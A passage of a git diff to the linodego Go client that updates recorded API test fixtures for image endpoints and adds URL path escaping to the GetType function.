"https://ap-south-1.linodeobjects.com:443/linode-production-machine-images-uploads/20417725?Signature=nzWr7PSf7VJJ7Pd1E7FQ3naUusc%3D&Expires=1685640813&AWSAccessKeyID=SANITIZED", + "image": {"id": "private/20417725", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": - "pending_upload"}}' + "pending_upload", "capabilities": []}}' headers: Access-Control-Allow-Credentials: - "true" @@ -139,7 +153,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "558" + - "576" Content-Security-Policy: - default-src 'none' Content-Type: @@ -176,14 +190,75 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/images/private/17578677 + url: https://api.linode.com/v4beta/images/private%2F20417725 + method: GET + response: + body: '{"id": "private/20417725", "label": "linodego-image-test", "description": + "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "size": 0, "created_by": "lgarber-dev", "type": "manual", "is_public": false, + "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": + "pending_upload", "capabilities": []}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=0, s-maxage=0, no-cache, no-store + - private, max-age=60, s-maxage=60 + Content-Length: + - "362" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - images:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "800" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/images/private%2F20417725 method: GET response: - body: '{"id": "private/17578677", "label": "linodego-image-test", "description": + body: '{"id": "private/20417725", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": - "pending_upload"}' + "pending_upload", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -199,7 +274,7 @@ interactions: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - - "342" + - "362" Content-Security-Policy: - default-src 'none' Content-Type: @@ -237,14 +312,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/images/private/17578677 + url: https://api.linode.com/v4beta/images/private%2F20417725 method: GET response: - body: '{"id": "private/17578677", "label": "linodego-image-test", "description": + body: '{"id": "private/20417725", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 1, "created_by": "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": - "available"}' + "available", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -260,7 +335,7 @@ interactions: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - - "337" + - "357" Content-Security-Policy: - default-src 'none' Content-Type: @@ -298,7 +373,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/images/private/17578677 + url: https://api.linode.com/v4beta/images/private%2F20417725 method: DELETE response: body: '{}' diff --git a/test/integration/fixtures/TestImages_List.yaml b/test/integration/fixtures/TestImages_List.yaml index 34d266233..2810519e7 100644 --- a/test/integration/fixtures/TestImages_List.yaml +++ b/test/integration/fixtures/TestImages_List.yaml @@ -14,200 +14,156 @@ interactions: url: https://api.linode.com/v4beta/images method: GET response: - body: '{"pages": 1, "data": [{"id": "private/17578292", "label": "nspa - Alpine - 3.16 Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 354, "created_by": null, "type": "automatic", "is_public": false, + body: '{"pages": 1, "data": [{"id": "private/20403225", "label": "splunk-build + - Alpine 3.17 Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": + null, "size": 5463, "created_by": null, "type": "automatic", "is_public": false, "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "private/17578295", "label": "linode39245136 - - Restore 294571 - Alpine 3.16 Disk", "description": "", "created": "2018-01-02T03:04:05", - "updated": null, "size": 1248, "created_by": null, "type": "automatic", "is_public": - false, "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", - "eol": null, "status": "available"}, {"id": "private/17578299", "label": "lke75477-117333-63408e2c748a - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4402, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "private/17578301", "label": "lke75476-117332-63408dedda63 - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4444, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "private/17578303", "label": "lke75476-117332-63408ded6fe5 - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4415, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "private/17578305", "label": "lke75476-117332-63408ded0595 - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4689, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "private/17578309", "label": "lke75477-117333-63408e2ba8de - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4644, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "private/17578318", "label": "lke75477-117333-63408e2add48 - - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 4353, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available"}, {"id": "linode/almalinux8", "label": "AlmaLinux - 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/almalinux9", "label": "AlmaLinux 9", - "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/alpine3.12", "label": "Alpine 3.12", - "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/alpine3.13", "label": "Alpine 3.13", - "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/alpine3.14", "label": "Alpine 3.14", - "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/alpine3.15", "label": "Alpine 3.15", - "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/alpine3.16", "label": "Alpine 3.16", - "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": + null, "status": "available", "capabilities": []}, {"id": "linode/almalinux8", + "label": "AlmaLinux 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "AlmaLinux", "expiry": null, + "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": + "linode/almalinux9", "label": "AlmaLinux 9", "deprecated": false, "size": 1700, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux", + "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": + []}, {"id": "linode/alpine3.14", "label": "Alpine 3.14", "deprecated": false, + "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "is_public": true, + "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/alpine3.15", "label": "Alpine + 3.15", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available"}, {"id": "linode/arch", "label": "Arch Linux", "deprecated": - false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Arch", "expiry": null, "eol": null, "status": "available"}, {"id": - "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": 2800, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/centos-stream8", "label": "CentOS Stream 8", "deprecated": false, "size": - 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, "size": - 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/debian10", "label": "Debian 10", "deprecated": false, "size": 1500, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/debian11", "label": "Debian 11", "deprecated": false, "size": 1300, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/debian9", "label": "Debian 9", "deprecated": false, "size": 1600, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/fedora34", "label": "Fedora 34", "deprecated": false, "size": 1800, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/fedora35", "label": "Fedora 35", "deprecated": false, "size": 1500, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/fedora36", "label": "Fedora 36", "deprecated": false, "size": 1600, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": 4600, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Gentoo", - "expiry": null, "eol": null, "status": "available"}, {"id": "linode/kali", "label": - "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/alpine3.16", "label": + "Alpine 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Kali", "expiry": null, "eol": - null, "status": "available"}, {"id": "linode/debian11-kube-v1.20.15", "label": - "Kubernetes 1.20.15 on Debian 11", "deprecated": false, "size": 3500, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/debian9-kube-v1.20.7", "label": "Kubernetes 1.20.7 on Debian 9", "deprecated": - false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available"}, {"id": "linode/debian9-kube-v1.21.1", "label": "Kubernetes 1.21.1 - on Debian 9", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", + "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.17", + "label": "Alpine 3.17", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.18", + "label": "Alpine 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/arch", + "label": "Arch Linux", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Arch", "expiry": null, "eol": + null, "status": "available", "capabilities": []}, {"id": "linode/centos7", "label": + "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream8", + "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream9", + "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian10", + "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.21.12", - "label": "Kubernetes 1.21.12 on Debian 11", "deprecated": false, "size": 3500, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/debian9-kube-v1.22.2", "label": "Kubernetes 1.22.2 on Debian 9", "deprecated": - false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available"}, {"id": "linode/debian11-kube-v1.22.9", "label": "Kubernetes 1.22.9 - on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11", + "label": "Debian 11", "deprecated": false, "size": 1300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.23.6", - "label": "Kubernetes 1.23.6 on Debian 11", "deprecated": false, "size": 3500, + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora36", + "label": "Fedora 36", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora37", + "label": "Fedora 37", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora38", + "label": "Fedora 38", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/gentoo", + "label": "Gentoo", "deprecated": false, "size": 5500, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Gentoo", "expiry": null, "eol": + null, "status": "available", "capabilities": []}, {"id": "linode/kali", "label": + "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Kali", "expiry": null, "eol": + null, "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.24.8", + "label": "Kubernetes 1.24.8 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/opensuse15.3", "label": "openSUSE Leap 15.3", "deprecated": false, "size": - 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/opensuse15.4", "label": "openSUSE Leap 15.4", "deprecated": false, "size": - 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": 2300, - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/rocky9", "label": "Rocky Linux 9", "deprecated": false, "size": 2300, + "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": + []}, {"id": "linode/debian11-kube-v1.25.4", "label": "Kubernetes 1.25.4 on Debian + 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.26.1", + "label": "Kubernetes 1.26.1 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": - "linode/slackware14.2", "label": "Slackware 14.2", "deprecated": false, "size": - 6000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", - "expiry": null, "eol": "1970-01-01T05:00:00", "status": "available"}, {"id": + "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", + "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": + []}, {"id": "linode/debian11-kube-v1.26.3", "label": "Kubernetes 1.26.3 on Debian + 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/opensuse15.4", "label": + "openSUSE Leap 15.4", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky8", + "label": "Rocky Linux 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky9", + "label": "Rocky Linux 9", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.2", + "label": "Slackware 14.2", "deprecated": false, "size": 6000, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, + "eol": "1970-01-01T05:00:00", "status": "available", "capabilities": []}, {"id": "linode/slackware15.0", "label": "Slackware 15.0", "deprecated": false, "size": - 10000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + 11000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", - "expiry": null, "eol": null, "status": "available"}, {"id": "linode/ubuntu16.04lts", - "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", + "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": + "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": + 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", + "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": + []}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": + false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "is_public": true, + "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/ubuntu20.04", "label": "Ubuntu + 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu18.04", - "label": "Ubuntu 18.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu22.04", + "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu20.04", - "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu22.10", + "label": "Ubuntu 22.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu22.04", - "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu23.04", + "label": "Ubuntu 23.04", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/centos8", "label": - "CentOS 8", "deprecated": true, "size": 2300, "created": "2018-01-02T03:04:05", + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian9", + "label": "Debian 9", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/slackware14.1", + "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.1", "label": "Slackware 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": null, "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, - "eol": null, "status": "available"}, {"id": "linode/ubuntu21.04", "label": "Ubuntu - 21.04", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu21.10", - "label": "Ubuntu 21.10", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available"}], "results": 48, "page": 1}' + "eol": null, "status": "available", "capabilities": []}], "results": 36, "page": + 1}' headers: Access-Control-Allow-Credentials: - "true" diff --git a/types.go b/types.go index ee6e4c8ca..f828b0ffb 100644 --- a/types.go +++ b/types.go @@ -3,6 +3,7 @@ package linodego import ( "context" "fmt" + "net/url" "github.com/go-resty/resty/v2" ) @@ -93,7 +94,7 @@ func (c *Client) ListTypes(ctx context.Context, opts *ListOptions) ([]LinodeType // GetType gets the type with the provided ID. This endpoint is cached by default. func (c *Client) GetType(ctx context.Context, typeID string) (*LinodeType, error) { - e := fmt.Sprintf("linode/types/%s", typeID) + e := fmt.Sprintf("linode/types/%s", url.PathEscape(typeID)) if result := c.getCachedResponse(e); result != nil { result := result.(LinodeType)